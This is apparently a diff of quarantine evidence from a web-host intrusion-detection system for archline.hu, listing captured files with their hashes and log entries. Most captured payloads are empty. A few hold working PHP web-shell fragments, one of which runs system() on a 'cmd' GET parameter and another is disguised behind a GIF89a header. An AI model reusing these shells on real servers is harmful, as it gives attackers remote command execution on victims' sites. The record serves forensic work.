--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_5pvatqpr.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_5pvatqpr.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_5pvatqpr.php.json.evidence.json
new file mode 100644
index 0000000..385c94e
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_5pvatqpr.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2997",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/_h3x_5pvatqpr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_5pvatqpr.php.json)",
+ "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783843871,
+ "size": 45,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/_h3x_5pvatqpr.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_pxw542fd.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_pxw542fd.php.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_pxw542fd.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_pxw542fd.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_pxw542fd.php.json.evidence.json
new file mode 100644
index 0000000..6adcfb4
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_pxw542fd.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3001",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/_h3x_pxw542fd.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_pxw542fd.php.json)",
+ "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783841988,
+ "size": 45,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/_h3x_pxw542fd.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_r7txcnhr.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_r7txcnhr.php.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_r7txcnhr.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_r7txcnhr.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_r7txcnhr.php.json.evidence.json
new file mode 100644
index 0000000..d29a19a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_r7txcnhr.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3000",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/_h3x_r7txcnhr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_r7txcnhr.php.json)",
+ "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783841993,
+ "size": 45,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/_h3x_r7txcnhr.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_znv7fh9d.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_znv7fh9d.php.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_znv7fh9d.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_znv7fh9d.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_znv7fh9d.php.json.evidence.json
new file mode 100644
index 0000000..2a14d3a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_znv7fh9d.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2999",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/_h3x_znv7fh9d.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_znv7fh9d.php.json)",
+ "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783842127,
+ "size": 45,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/_h3x_znv7fh9d.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/amwhwyys.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/amwhwyys.php.json
new file mode 100644
index 0000000..982bc2b
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/amwhwyys.php.json
@@ -0,0 +1 @@
+';if(isset($_GET['cmd'])){echo'';system($_GET['cmd']);echo'
';}echo'';?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/amwhwyys.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/amwhwyys.php.json.evidence.json
new file mode 100644
index 0000000..d367c79
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/amwhwyys.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3024",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/amwhwyys.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/amwhwyys.php.json)",
+ "original_sha256": "5f9fadd5d78ebe33acaa6f95602ea8b6ba716fe64dac17a20c259ecd32f2dacb",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784057813,
+ "size": 146,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/amwhwyys.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_0134a6.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_0134a6.php.json
new file mode 100644
index 0000000..14749c0
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_0134a6.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_0134a6.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_0134a6.php.json.evidence.json
new file mode 100644
index 0000000..6ffe970
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_0134a6.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3011",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/css_0134a6.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_0134a6.php.json)",
+ "original_sha256": "c26fb4336d91124d0f631f998dd1f7e8fd9fa444671f046715f4fb883f6594e8",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783937208,
+ "size": 89,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/css_0134a6.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_4470f6.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_4470f6.php.json
new file mode 100644
index 0000000..14749c0
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_4470f6.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_4470f6.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_4470f6.php.json.evidence.json
new file mode 100644
index 0000000..b707f05
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_4470f6.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3019",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/css_4470f6.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_4470f6.php.json)",
+ "original_sha256": "c26fb4336d91124d0f631f998dd1f7e8fd9fa444671f046715f4fb883f6594e8",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783946116,
+ "size": 89,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/css_4470f6.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_8413ca.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_8413ca.php.json
new file mode 100644
index 0000000..14749c0
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_8413ca.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_8413ca.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_8413ca.php.json.evidence.json
new file mode 100644
index 0000000..873e215
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_8413ca.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3027",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/css_8413ca.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_8413ca.php.json)",
+ "original_sha256": "c26fb4336d91124d0f631f998dd1f7e8fd9fa444671f046715f4fb883f6594e8",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783936680,
+ "size": 89,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/css_8413ca.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_c5a6d6.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_c5a6d6.php.json
new file mode 100644
index 0000000..14749c0
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_c5a6d6.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_c5a6d6.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_c5a6d6.php.json.evidence.json
new file mode 100644
index 0000000..725e395
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_c5a6d6.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3015",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/css_c5a6d6.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/css_c5a6d6.php.json)",
+ "original_sha256": "c26fb4336d91124d0f631f998dd1f7e8fd9fa444671f046715f4fb883f6594e8",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783936723,
+ "size": 89,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/css_c5a6d6.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_3ntstihn.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_3ntstihn.php.json
new file mode 100644
index 0000000..59b5034
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_3ntstihn.php.json
@@ -0,0 +1,11 @@
+GIF89a
+');echo "x";}
+ elseif($c=="d"){@unlink("gecko.php");echo "d";}
+ else{echo "r";}
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_3ntstihn.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_3ntstihn.php.json.evidence.json
new file mode 100644
index 0000000..fd1c3ea
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_3ntstihn.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3017",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/h3x_3ntstihn.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_3ntstihn.php.json)",
+ "original_sha256": "cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783999802,
+ "size": 296,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/h3x_3ntstihn.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_zli4yqss.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_zli4yqss.php.json
new file mode 100644
index 0000000..59b5034
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_zli4yqss.php.json
@@ -0,0 +1,11 @@
+GIF89a
+');echo "x";}
+ elseif($c=="d"){@unlink("gecko.php");echo "d";}
+ else{echo "r";}
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_zli4yqss.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_zli4yqss.php.json.evidence.json
new file mode 100644
index 0000000..6ceb50c
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_zli4yqss.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3007",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/h3x_zli4yqss.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/h3x_zli4yqss.php.json)",
+ "original_sha256": "cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783864206,
+ "size": 296,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/h3x_zli4yqss.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_553602.php.json.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_553602.php.json.json
new file mode 100644
index 0000000..4898f61
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_553602.php.json.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_553602.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_553602.php.json.json.evidence.json
new file mode 100644
index 0000000..1a81973
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_553602.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3003",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/rce_553602.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_553602.php.json.json)",
+ "original_sha256": "d4833d1399b264d7c64e932658c19246d5fd6aedee2233ed0faf4bb8d257004a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783877182,
+ "size": 57,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/rce_553602.php.json.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_68a921.php.json.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_68a921.php.json.json
new file mode 100644
index 0000000..4898f61
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_68a921.php.json.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_68a921.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_68a921.php.json.json.evidence.json
new file mode 100644
index 0000000..6cf7781
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_68a921.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3018",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/rce_68a921.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_68a921.php.json.json)",
+ "original_sha256": "d4833d1399b264d7c64e932658c19246d5fd6aedee2233ed0faf4bb8d257004a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783878611,
+ "size": 57,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/rce_68a921.php.json.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_ddeda3.php.json.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_ddeda3.php.json.json
new file mode 100644
index 0000000..4898f61
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_ddeda3.php.json.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_ddeda3.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_ddeda3.php.json.json.evidence.json
new file mode 100644
index 0000000..8315008
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_ddeda3.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3010",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/rce_ddeda3.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_ddeda3.php.json.json)",
+ "original_sha256": "d4833d1399b264d7c64e932658c19246d5fd6aedee2233ed0faf4bb8d257004a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783877166,
+ "size": 57,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/rce_ddeda3.php.json.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_f2c518.php.json.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_f2c518.php.json.json
new file mode 100644
index 0000000..4898f61
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_f2c518.php.json.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_f2c518.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_f2c518.php.json.json.evidence.json
new file mode 100644
index 0000000..79af0de
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_f2c518.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3002",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/rce_f2c518.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/rce_f2c518.php.json.json)",
+ "original_sha256": "d4833d1399b264d7c64e932658c19246d5fd6aedee2233ed0faf4bb8d257004a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783877337,
+ "size": 57,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/rce_f2c518.php.json.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/up.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/up.php.json
new file mode 100644
index 0000000..d90257a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/up.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/up.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/up.php.json.evidence.json
new file mode 100644
index 0000000..688fd37
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/up.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3023",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/up.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/up.php.json)",
+ "original_sha256": "72c1cbd426978b60ec75a15472d96080aa8edf3667d91139557276f7449b2483",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784033880,
+ "size": 15,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/layout/up.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_91tax5.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_91tax5.php.json
new file mode 100644
index 0000000..c1854f3
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_91tax5.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_91tax5.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_91tax5.php.json.evidence.json
new file mode 100644
index 0000000..f164c2d
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_91tax5.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2995",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/rce_91tax5.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_91tax5.php.json)",
+ "original_sha256": "eff6ad6424feaa82e756ab3264e8689f6293d56dd50f97e585c9572e2ae4cfaf",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783812868,
+ "size": 117,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/rce_91tax5.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_9rtxvu.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_9rtxvu.php.json
new file mode 100644
index 0000000..24c02b8
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_9rtxvu.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_9rtxvu.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_9rtxvu.php.json.evidence.json
new file mode 100644
index 0000000..4b9e85e
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_9rtxvu.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2970",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/rce_9rtxvu.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/rce_9rtxvu.php.json)",
+ "original_sha256": "9ba4b855f3bf60b7e6bf5678beca5959f76b278e4fbd911434d08c5ba0f17926",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783812977,
+ "size": 117,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/rce_9rtxvu.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/up.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up.php.json
new file mode 100644
index 0000000..d90257a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/up.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up.php.json.evidence.json
new file mode 100644
index 0000000..cdb6e49
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2982",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/up.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/up.php.json)",
+ "original_sha256": "72c1cbd426978b60ec75a15472d96080aa8edf3667d91139557276f7449b2483",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784033908,
+ "size": 15,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/up.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/up.php.json b/var/www/hosting/archline.hu/www/templates/up.php.json
new file mode 100644
index 0000000..d90257a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/up.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/up.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/up.php.json.evidence.json
new file mode 100644
index 0000000..754acfb
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/up.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2949",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/up.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/up.php.json)",
+ "original_sha256": "72c1cbd426978b60ec75a15472d96080aa8edf3667d91139557276f7449b2483",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784033927,
+ "size": 15,
+ "uid": 20043
+ },
+ "rel_path": "templates/up.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/i9wliit0.php.json b/var/www/hosting/archline.hu/www/tmp/i9wliit0.php.json
new file mode 100644
index 0000000..4898f61
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/i9wliit0.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/i9wliit0.php.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/i9wliit0.php.json.evidence.json
new file mode 100644
index 0000000..b8fd0f9
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/i9wliit0.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "3533",
+ "log_excerpt": "[quarantine] www.archline.hu:tmp/i9wliit0.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/i9wliit0.php.json)",
+ "original_sha256": "d4833d1399b264d7c64e932658c19246d5fd6aedee2233ed0faf4bb8d257004a",
